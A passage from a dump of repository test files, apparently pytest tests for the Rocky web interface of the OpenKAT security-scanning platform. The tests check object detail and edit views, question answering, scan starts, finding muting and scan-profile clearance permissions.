test_question_detail(\n    rf, client_member, mock_organization_view_octopoes, mock_scheduler, paginated_task_list, mocker\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    request = setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Question|/test|Network|testnetwork\"}), client_member.user)\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(QUESTION_DATA)\n\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n\n    assertContains(response, \"Question\")\n    assertContains(response, \"Fill out this form to answer the Question (again)\")\n    assertContains(response, \"Submit\")\n\n\ndef test_answer_question(\n    rf,\n    client_member,\n    mock_scheduler,\n    mock_bytes_client,\n    mock_organization_view_octopoes,\n    lazy_task_list_with_boefje,\n    mocker,\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(QUESTION_DATA)\n\n    query_string = urlencode({\"ooi_id\": \"Question|/test|Network|testnetwork\"}, doseq=True)\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/objects/details/?{query_string}\",\n            data={\"schema\": '{\"key\": \"value\", \"sa_tcp_ports\": \"314159,23\"}', \"action\": \"submit_answer\"},\n        ),\n        client_member.user,\n    )\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assertContains(response, \"Question has been answered.\", status_code=200)\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n\n\ndef test_answer_question_bad_schema(\n    rf,\n    client_member,\n    mock_scheduler,\n    mock_bytes_client,\n    mock_organization_view_octopoes,\n    lazy_task_list_with_boefje,\n    mocker,\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(QUESTION_DATA)\n\n    query_string = urlencode({\"ooi_id\": \"Question|/test|Network|testnetwork\"}, doseq=True)\n\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/objects/details/?{query_string}\",\n            data={\"schema\": '{\"key\": \"value\", \"sa_tcp_ports\": 314159}', \"action\": \"submit_answer\"},\n        ),\n        client_member.user,\n    )\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    quote_enc = \"&#x27;\"\n    assertContains(response, f\"314159 is not of type {quote_enc}string{quote_enc}\", status_code=200)\n\n\ndef test_ooi_detail_start_scan(\n    rf, client_member, mock_organization_view_octopoes, mock_scheduler, paginated_task_list, mocker, network\n):\n    mock_katalogus = mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mock_organization_view_octopoes().get.return_value = network\n\n    mock_katalogus().get_plugin.return_value = Boefje(\n        id=\"nmap\",\n        name=\"\",\n        description=\"\",\n        enabled=True,\n        type=\"boefje\",\n        scan_level=SCAN_LEVEL.L2,\n        consumes=[],\n        produces=[],\n    )\n\n    # Passing query params in POST requests is not well-supported for RequestFactory it seems, hence the absolute path\n    query_string = urlencode({\"ooi_id\": network.reference}, doseq=True)\n\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/objects/details/?{query_string}\",\n            data={\"boefje_id\": \"nmap\", \"action\": \"start_scan\"},\n        ),\n        client_member.user,\n    )\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n\n    assert response.status_code == 200\n\n\ndef test_ooi_detail_start_scan_no_indemnification(\n    rf, client_member, mock_organization_view_octopoes, mock_scheduler, paginated_task_list, mocker, network\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mock_organization_view_octopoes().get.return_value = network\n    mock_katalogus = mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_katalogus().get_plugin.return_value = Boefje(\n        id=\"nmap\",\n        name=\"\",\n        description=\"\",\n        enabled=True,\n        type=\"boefje\",\n        scan_level=SCAN_LEVEL.L2,\n        consumes=[],\n        produces=[],\n    )\n\n    Indemnification.objects.get(user=client_member.user).delete()\n\n    # Passing query params in POST requests is not well-supported for RequestFactory it seems, hence the absolute path\n    query_string = urlencode({\"ooi_id\": network.reference}, doseq=True)\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/objects/details/?{query_string}\",\n            data={\"boefje_id\": \"test-boefje\", \"action\": \"start_scan\"},\n        ),\n        client_member.user,\n    )\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n    assertContains(response, \"Object details\")\n    assertContains(response, \"Indemnification not present\")\n\n\ndef test_ooi_detail_start_scan_no_action(\n    rf, client_member, mock_scheduler, mock_organization_view_octopoes, lazy_task_list_with_boefje, mocker, network\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mock_organization_view_octopoes().get.return_value = network\n\n    # Passing query params in POST requests is not well-supported for RequestFactory it seems, hence the absolute path\n    query_string = urlencode({\"ooi_id\": network.reference}, doseq=True)\n    request = setup_request(\n        rf.post(f\"/en/{client_member.organization.code}/objects/details/?{query_string}\", data={\"boefje_id\": \"nmap\"}),\n        client_member.user,\n    )\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n    assertContains(response, \"Object details\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\"])\ndef test_delete_perms_ooi_detail(\n    request, member, rf, mock_scheduler, mock_organization_view_octopoes, lazy_task_list_with_boefje, mocker\n):\n    member = request.getfixturevalue(member)\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mock_scheduler.get_lazy_task_list.return_value = lazy_task_list_with_boefje\n\n    response = OOIDetailView.as_view()(\n        setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Network|testnetwork\"}), member.user),\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Delete\")\n\n\ndef test_delete_perms_ooi_detail_clients(\n    rf, client_member, mock_scheduler, mock_organization_view_octopoes, lazy_task_list_with_boefje, mocker\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mock_scheduler.get_lazy_task_list.return_value = lazy_task_list_with_boefje\n\n    response = OOIDetailView.as_view()(\n        setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user),\n        organization_code=client_member.organization.code,\n    )\n    assert response.status_code == 200\n    assertNotContains(response, \"Delete\")\n\n\ndef test_ooi_detail_start_scan_perms(\n    rf, client_member, mock_scheduler, mock_organization_view_octopoes, lazy_task_list_with_boefje, mocker\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    request = setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user)\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mock_scheduler.get_lazy_task_list.return_value = lazy_task_list_with_boefje\n\n    response = OOIDetailView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assertNotContains(response, \"Start Scan\")\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_edit.py",
    "content": "import json\n\nfrom django.urls import reverse\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.views.ooi_edit import OOIEditView\nfrom tests.conftest import setup_request\n\n\ndef test_ooi_edit(rf, client_member, mock_organization_view_octopoes, network):\n    mock_organization_view_octopoes().get.return_value = network\n\n    request = setup_request(rf.get(\"ooi_edit\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user)\n    response = OOIEditView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"testnetwork\")\n    assertContains(response, \"Save Network\")\n\n\ndef test_ooi_edit_report_recipe_get(rf, client_member, mock_organization_view_octopoes, report_recipe):\n    mock_organization_view_octopoes().get.return_value = report_recipe\n    ooi_id = f\"ReportRecipe|{report_recipe.recipe_id}\"\n\n    request = setup_request(rf.get(\"ooi_edit\", {\"ooi_id\": ooi_id}), client_member.user)\n    response = OOIEditView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Edit ReportRecipe: \" + ooi_id)\n\n\ndef test_ooi_edit_report_recipe_post(\n    rf, client_member, mock_organization_view_octopoes, report_recipe, mocker, mock_scheduler, mock_bytes_client\n):\n    mock_organization_view_octopoes().get.return_value = report_recipe\n    mocker.patch(\"rocky.views.ooi_view.create_ooi\")\n    ooi_id = f\"ReportRecipe|{report_recipe.recipe_id}\"\n\n    request_url = (\n        reverse(\"ooi_edit\", kwargs={\"organization_code\": client_member.organization.code}) + f\"?ooi_id={ooi_id}\"\n    )\n\n    request = setup_request(\n        rf.post(\n            request_url,\n            {\n                \"ooi_type\": \"ReportRecipe\",\n                \"user\": client_member.user.email,\n                \"recipe_id\": report_recipe.recipe_id,\n                \"report_type\": \"test\",\n                \"report_name_format\": report_recipe.report_name_format,\n                \"input_recipe\": json.dumps(report_recipe.input_recipe),\n                \"asset_report_types\": json.dumps(report_recipe.asset_report_types),\n                \"cron_expression\": report_recipe.cron_expression,\n            },\n        ),\n        client_member.user,\n    )\n    response = OOIEditView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302\n\n    response_url = \"/en/{}/objects/detail/?ooi_id=ReportRecipe%7C{}\"\n    assert response.url == response_url.format(client_member.organization.code, report_recipe.recipe_id)\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_findings.py",
    "content": "import pytest\nfrom django.core.exceptions import PermissionDenied\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom octopoes.models.ooi.findings import Finding, RiskLevelSeverity\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.tree import ReferenceTree\nfrom rocky.views.finding_list import FindingListView\nfrom rocky.views.ooi_add import OOIAddView\nfrom rocky.views.ooi_detail import OOIDetailView\nfrom rocky.views.ooi_findings import OOIFindingListView\nfrom rocky.views.ooi_mute import MuteFindingsBulkView, MuteFindingView\nfrom tests.conftest import setup_request\n\nTREE_DATA = {\n    \"root\": {\n        \"reference\": \"Finding|Network|testnetwork|KAT-000\",\n        \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"Network|testnetwork\": {\"object_type\": \"Network\", \"primary_key\": \"Network|testnetwork\", \"name\": \"testnetwork\"},\n        \"Finding|Network|testnetwork|KAT-000\": {\n            \"object_type\": \"Finding\",\n            \"primary_key\": \"Finding|Network|testnetwork|KAT-000\",\n            \"ooi\": \"Network|testnetwork\",\n            \"finding_type\": \"KATFindingType|KAT-000\",\n        },\n    },\n}\n\n\nMUTED_FINDING_TREE_DATA = {\n    \"root\": {\n        \"reference\": \"MutedFinding|Network|testnetwork|KAT-000\",\n        \"children\": {\"ooi\": [{\"reference\": \"Finding|Network|testnetwork|KAT-000\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"MutedFinding|Network|testnetwork|KAT-000\": {\n            \"object_type\": \"MutedFinding\",\n            \"primary_key\": \"MutedFinding|Network|testnetwork|KAT-000\",\n            \"finding\": \"Finding|Network|testnetwork|KAT-000\",\n            \"reason\": \"Hallo\",\n        },\n        \"Network|testnetwork\": {\"object_type\": \"Network\", \"primary_key\": \"Network|testnetwork\", \"name\": \"testnetwork\"},\n        \"Finding|Network|testnetwork|KAT-000\": {\n            \"object_type\": \"Finding\",\n            \"primary_key\": \"Finding|Network|testnetwork|KAT-000\",\n            \"ooi\": \"Network|testnetwork\",\n            \"finding_type\": \"KATFindingType|KAT-000\",\n        },\n    },\n}\n\n\ndef test_ooi_finding_list(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    request = setup_request(rf.get(\"ooi_findings\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user)\n    response = OOIFindingListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n    assertContains(response, \"Add finding\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"redteam_member\"])\ndef test_mute_finding_button_is_visible(request, member, rf, mock_organization_view_octopoes, mock_scheduler, mocker):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    member = request.getfixturevalue(member)\n\n    response = OOIDetailView.as_view()(\n        setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Network|testnetwork\"}), member.user),\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Mute finding\")\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"client_member\"])\ndef test_mute_finding_button_is_not_visible_without_perms(\n    request, member, rf, mock_organization_view_octopoes, mock_scheduler, mocker\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    member = request.getfixturevalue(member)\n\n    response = OOIDetailView.as_view()(\n        setup_request(rf.get(\"ooi_detail\", {\"ooi_id\": \"Network|testnetwork\"}), member.user),\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n    assertNotContains(response, \"Mute finding\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"redteam_member\"])\ndef test_mute_finding_form_view(request, member, rf, mock_organization_view_octopoes):\n    member = request.getfixturevalue(member)\n    response = MuteFindingView.as_view()(\n        setup_request(rf.get(\"finding_mute\", {\"ooi_id\": \"Finding|Network|testnetwork|KAT-000\"}), member.user),\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Reason:\")\n    assertContains(response, \"Mute\")\n    assertContains(response, \"Cancel\")\n    assertContains(response, \"Mute finding: \")\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"client_member\"])\ndef test_mute_finding_form_view_no_perms(request, member, rf, mock_organization_view_octopoes):\n    member = request.getfixturevalue(member)\n    with pytest.raises(PermissionDenied):\n        MuteFindingView.as_view()(\n            setup_request(rf.get(\"finding_mute\", {\"ooi_id\": \"Finding|Network|testnetwork|KAT-000\"}), member.user),\n            organization_code=member.organization.code,\n        )\n\n\ndef test_mute_finding_post(\n    rf,\n    redteam_member,\n    mock_bytes_client,\n    mock_scheduler,\n    mock_organization_view_octopoes,\n    lazy_task_list_with_boefje,\n    mocker,\n):\n    # post from the finding mute view\n    muted_finding = MUTED_FINDING_TREE_DATA[\"store\"][\"MutedFinding|Network|testnetwork|KAT-000\"]\n    request = setup_request(\n        rf.post(\n            \"finding_mute\",\n            {\n                \"ooi_type\": muted_finding[\"object_type\"],\n                \"finding\": muted_finding[\"finding\"],\n                \"reason\": muted_finding[\"reason\"],\n            },\n        ),\n        redteam_member.user,\n    )\n    # Uses same ooi_add post request to add a MuteFinding object\n    response = OOIAddView.as_view()(\n        request, organization_code=redteam_member.organization.code, ooi_type=\"MutedFinding\"\n    )\n\n    # Redirects to ooi_detail\n    assert response.status_code == 302\n\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    resulted_request = setup_request(rf.get(response.url), redteam_member.user)\n\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(MUTED_FINDING_TREE_DATA)\n    mock_scheduler.get_lazy_task_list.return_value = lazy_task_list_with_boefje\n\n    resulted_response = OOIDetailView.as_view()(resulted_request, organization_code=redteam_member.organization.code)\n\n    assert resulted_response.status_code == 200\n    assertContains(resulted_response, \"Reason\")\n    assertContains(resulted_response, \"Muted Network|testnetwork|KAT-000\")\n    assertContains(resulted_response, \"MutedFinding\")\n    assertContains(resulted_response, muted_finding[\"reason\"])\n    assertContains(resulted_response, \"KAT-000 @ testnetwork\")\n\n\ndef test_muted_finding_button_not_presence(rf, mock_organization_view_octopoes, network, finding_types, redteam_member):\n    mock_organization_view_octopoes().list_findings.return_value = Paginated[Finding](\n        count=1,\n        items=[\n            Finding(\n                finding_type=finding_types[0].reference,\n                ooi=network.reference,\n                proof=\"proof\",\n                description=\"test description 123\",\n                reproduce=\"reproduce\",\n            )\n        ],\n    )\n    mock_organization_view_octopoes().load_objects_bulk.return_value = {\n        network.reference: network,\n        finding_types[0].reference: finding_types[0],\n    }\n\n    response = FindingListView.as_view()(\n        setup_request(rf.get(\"finding_list\"), redteam_member.user), organization_code=redteam_member.organization.code\n    )\n\n    assert response.status_code == 200\n    assertContains(\n        response,\n        '<a class=\"button ghost\" href=\"#mute-findings-modal\"><icon aria-hidden=\"true\" '\n        'class=\"icon ti-bell-off\"></icon>Mute findings</a>',\n    )\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"redteam_member\"])\ndef test_muted_finding_button_presence_more_findings_and_post(\n    rf,\n    request,\n    member,\n    mock_organization_view_octopoes,\n    network,\n    finding_types,\n    mocker,\n    mock_bytes_client,\n    mock_scheduler,\n):\n    member = request.getfixturevalue(member)\n    finding_1 = Finding(\n        finding_type=finding_types[0].reference,\n        ooi=network.reference,\n        proof=\"proof\",\n        description=\"test description 123\",\n        reproduce=\"reproduce\",\n    )\n    finding_2 = Finding(\n        finding_type=finding_types[1].reference,\n        ooi=network.reference,\n        proof=\"proof\",\n        description=\"test description 123\",\n        reproduce=\"reproduce\",\n    )\n    mock_organization_view_octopoes().list_findings.return_value = Paginated[Finding](\n        count=2, items=[finding_1, finding_2]\n    )\n\n    mock_organization_view_octopoes().load_objects_bulk.return_value = {\n        network.reference: network,\n        finding_types[0].reference: finding_types[0],\n        finding_types[1].reference: finding_types[1],\n    }\n\n    response = FindingListView.as_view()(\n        setup_request(rf.get(\"finding_list\"), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 200\n    assertContains(response, '<input class=\"toggle-all\" data-toggle-target=\"finding\" type=\"checkbox\">', html=True)\n    assertContains(response, '<input type=\"checkbox\" name=\"finding\" value=\"' + finding_1.primary_key + '\">', html=True)\n    assertContains(\n        response,\n        '<a class=\"button ghost\" href=\"#mute-findings-modal\"><icon aria-hidden=\"true\" '\n        'class=\"icon ti-bell-off\"></icon>Mute findings</a>',\n    )\n\n    request = setup_request(\n        rf.post(\"finding_mute_bulk\", {\"finding\": [finding_1, finding_2], \"reason\": \"testing\"}), member.user\n    )\n\n    response_post = MuteFindingsBulkView.as_view()(request, organization_code=member.organization.code)\n\n    assert response_post.status_code == 302\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"client_member\"])\ndef test_can_mute_findings_perms(rf, request, member, mock_organization_view_octopoes, network, finding_types):\n    member = request.getfixturevalue(member)\n    mock_organization_view_octopoes().list_findings.return_value = Paginated[Finding](\n        count=2,\n        items=[\n            Finding(\n                finding_type=finding_types[0].reference,\n                ooi=network.reference,\n                proof=\"proof\",\n                description=\"test description 123\",\n                reproduce=\"reproduce\",\n            ),\n            Finding(\n                finding_type=finding_types[1].reference,\n                ooi=network.reference,\n                proof=\"proof\",\n                description=\"test description 123\",\n                reproduce=\"reproduce\",\n            ),\n        ],\n    )\n\n    mock_organization_view_octopoes().load_objects_bulk.return_value = {\n        network.reference: network,\n        finding_types[0].reference: finding_types[0],\n        finding_types[1].reference: finding_types[1],\n    }\n\n    response = FindingListView.as_view()(\n        setup_request(rf.get(\"finding_list\"), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 200\n    assertNotContains(\n        response,\n        '<a class=\"button ghost\" href=\"#mute-findings-modal\"><icon aria-hidden=\"true\" '\n        'class=\"icon ti-bell-off\"></icon>Mute findings</a>',\n    )\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_findings_list_filtering(\n    rf,\n    request,\n    member,\n    mock_organization_view_octopoes,\n    network,\n    finding_types,\n    mocker,\n    mock_bytes_client,\n    mock_scheduler,\n):\n    member = request.getfixturevalue(member)\n    # Severity Critical\n    finding_1 = Finding(\n        finding_type=finding_types[1].reference,\n        ooi=network.reference,\n        proof=\"proof\",\n        description=\"test description 123\",\n        reproduce=\"reproduce\",\n    )\n    # Severity Low\n    finding_2 = Finding(\n        finding_type=finding_types[2].reference,\n        ooi=network.reference,\n        proof=\"proof\",\n        description=\"test description 123\",\n        reproduce=\"reproduce\",\n    )\n    mock_organization_view_octopoes().list_findings.return_value = Paginated[Finding](\n        count=2, items=[finding_1, finding_2]\n    )\n\n    mock_organization_view_octopoes().load_objects_bulk.return_value = {\n        network.reference: network,\n        finding_types[1].reference: finding_types[1],\n        finding_types[2].reference: finding_types[2],\n    }\n\n    response = FindingListView.as_view()(\n        setup_request(rf.get(\"finding_list\"), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 200\n    assert len(response.context_data[\"object_list\"]) == 2\n\n    request_filtering = setup_request(rf.get(\"finding_list\", {\"severity\": \"low\"}), member.user)\n    FindingListView.as_view()(request_filtering, organization_code=member.organization.code)\n\n    assert mock_organization_view_octopoes().list_findings.mock_calls[1].kwargs[\"severities\"] == {RiskLevelSeverity.LOW}\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_graph.py",
    "content": "from unittest.mock import ANY, call\n\nfrom django.urls import resolve, reverse\nfrom pytest_django.asserts import assertContains\n\nfrom octopoes.models import Reference\nfrom octopoes.models.tree import ReferenceTree\nfrom rocky.views.ooi_tree import OOIGraphView\nfrom tests.conftest import setup_request\n\nTREE_DATA = {\n    \"root\": {\n        \"reference\": \"Finding|Network|testnetwork|KAT-000\",\n        \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"Network|testnetwork\": {\"object_type\": \"Network\", \"primary_key\": \"Network|testnetwork\", \"name\": \"testnetwork\"},\n        \"Finding|Network|testnetwork|KAT-000\": {\n            \"object_type\": \"Finding\",\n            \"primary_key\": \"Finding|Network|testnetwork|KAT-000\",\n            \"ooi\": \"Network|testnetwork\",\n            \"finding_type\": \"KATFindingType|KAT-000\",\n        },\n    },\n}\n\n\ndef test_ooi_graph(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    request = setup_request(rf.get(\"ooi_graph\", {\"ooi_id\": \"Network|testnetwork\"}), client_member.user)\n    request.resolver_match = resolve(\n        reverse(\"ooi_graph\", kwargs={\"organization_code\": client_member.organization.code})\n    )\n    response = OOIGraphView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    mock_organization_view_octopoes().get_tree.assert_has_calls(\n        [\n            call(Reference(\"Network|testnetwork\"), valid_time=ANY, depth=2, with_scan_profiles=True, types=[]),\n            call(Reference(\"Network|testnetwork\"), valid_time=ANY, depth=9, with_scan_profiles=False, types=[]),\n        ]\n    )\n\n    assertContains(response, \"testnetwork\")\n    assertContains(response, \"KAT-000\")\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_scan_profile.py",
    "content": "from urllib.parse import urlencode\n\nfrom pytest_django.asserts import assertContains, assertNotContains\nfrom tools.models import Indemnification\n\nfrom octopoes.models.tree import ReferenceTree\nfrom rocky.views.scan_profile import ScanProfileDetailView\nfrom tests.conftest import setup_request\n\nTREE_DATA = {\n    \"root\": {\n        \"reference\": \"Network|testnetwork\",\n        \"children\": {\"urls\": [{\"reference\": \"HostnameHTTPURL|https|internet|scanme.org|443|/\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"Network|testnetwork\": {\n            \"object_type\": \"Network\",\n            \"primary_key\": \"Network|testnetwork\",\n            \"name\": \"testnetwork\",\n            \"scan_profile\": {\"scan_profile_type\": \"declared\", \"reference\": \"Network|testnetwork\", \"level\": 1},\n        },\n        \"HostnameHTTPURL|https|internet|scanme.org|443|/\": {\n            \"object_type\": \"HostnameHTTPURL\",\n            \"scan_profile\": {\n                \"scan_profile_type\": \"inherited\",\n                \"reference\": \"HostnameHTTPURL|https|internet|scanme.org|443|/\",\n                \"level\": 2,\n            },\n            \"primary_key\": \"HostnameHTTPURL|https|internet|scanme.org|443|/\",\n            \"network\": \"Network|internet\",\n            \"scheme\": \"https\",\n            \"port\": 443,\n            \"path\": \"/\",\n            \"netloc\": \"Hostname|internet|scanme.org\",\n        },\n    },\n}\n\n\ndef test_scan_profile(rf, redteam_member, mock_scheduler, mock_organization_view_octopoes, mocker):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    request = setup_request(rf.get(\"scan_profile_detail\", {\"ooi_id\": \"Network|testnetwork\"}), redteam_member.user)\n    response = ScanProfileDetailView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n\n    assertContains(response, \"Edit clearance level\")\n\n\ndef test_scan_profile_submit(rf, redteam_member, mock_scheduler, mock_organization_view_octopoes, mocker):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    # Passing query params in POST requests is not well-supported for RequestFactory it seems, hence the absolute path\n    query_string = urlencode({\"ooi_id\": \"Network|testnetwork\"}, doseq=True)\n    request = setup_request(\n        rf.post(\n            f\"/en/{redteam_member.organization.code}/objects/scan-profile/?{query_string}\",\n            data={\"scan_profile_type\": \"declared\", \"level\": \"1\", \"action\": \"change_clearance_level\"},\n        ),\n        redteam_member.user,\n    )\n    response = ScanProfileDetailView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert response.url == f\"/en/{redteam_member.organization.code}/objects/scan-profile/?{query_string}\"\n\n\ndef test_scan_profile_submit_no_indemnification(\n    rf, redteam_member, mock_scheduler, mock_organization_view_octopoes, mocker\n):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    Indemnification.objects.get(user=redteam_member.user).delete()\n\n    # Passing query params in POST requests is not well-supported for RequestFactory it seems, hence the absolute path\n    query_string = urlencode({\"ooi_id\": \"Network|testnetwork\"}, doseq=True)\n    request = setup_request(\n        rf.post(\n            f\"/en/{redteam_member.organization.code}/objects/scan-profile/?{query_string}\",\n            data={\"scan_profile_type\": \"declared\", \"level\": \"1\", \"action\": \"change_clearance_level\"},\n        ),\n        redteam_member.user,\n    )\n    response = ScanProfileDetailView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert response.url == f\"/en/{redteam_member.organization.code}/objects/scan-profile/?{query_string}\"\n\n\ndef test_scan_profile_no_permissions_acknowledged(\n    rf, redteam_member, mock_scheduler, mock_organization_view_octopoes, mocker\n):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    redteam_member.acknowledged_clearance_level = -1\n    redteam_member.save()\n\n    request = setup_request(rf.get(\"scan_profile_detail\", {\"ooi_id\": \"Network|testnetwork\"}), redteam_member.user)\n    response = ScanProfileDetailView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n\n    assertNotContains(response, \"Edit clearance level\")\n\n\ndef test_scan_profile_no_permissions_trusted(\n    rf, redteam_member, mock_scheduler, mock_organization_view_octopoes, mocker\n):\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n\n    redteam_member.trusted_clearance_level = -1\n    redteam_member.save()\n\n    request = setup_request(rf.get(\"scan_profile_detail\", {\"ooi_id\": \"Network|testnetwork\"}), redteam_member.user)\n    response = ScanProfileDetailView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n\n    assertNotContains(response, \"Edit clearance level\")\n\n\ndef test_scan_profile_submit_inherited(rf, redteam_member, mock_scheduler, mock_organization_view_octopoes, mocker):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    # Passing query params in POST requests is not well-supported for RequestFactory it seems, hence the absolute path\n    query_string = urlencode({\"ooi_id\": \"Network|testnetwork\"}, doseq=True)\n    request = setup_request(\n        rf.post(\n            f\"/en/{redteam_member.organization.code}/objects/scan-profile/?{query_string}\",\n            data={\"scan_profile_type\": \"inherited\", \"action\": \"change_clearance_level\"},\n        ),\n        redteam_member.user,\n    )\n    response = ScanProfileDetailView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n    assert response.url == f\"/en/{redteam_member.organization.code}/objects/scan-profile/?{query_string}\"\n    assert mock_organization_view_octopoes().get_tree.call_count == 1\n"
  },
  {
    "path": "rocky/tests/objects/test_objects_tree.py",
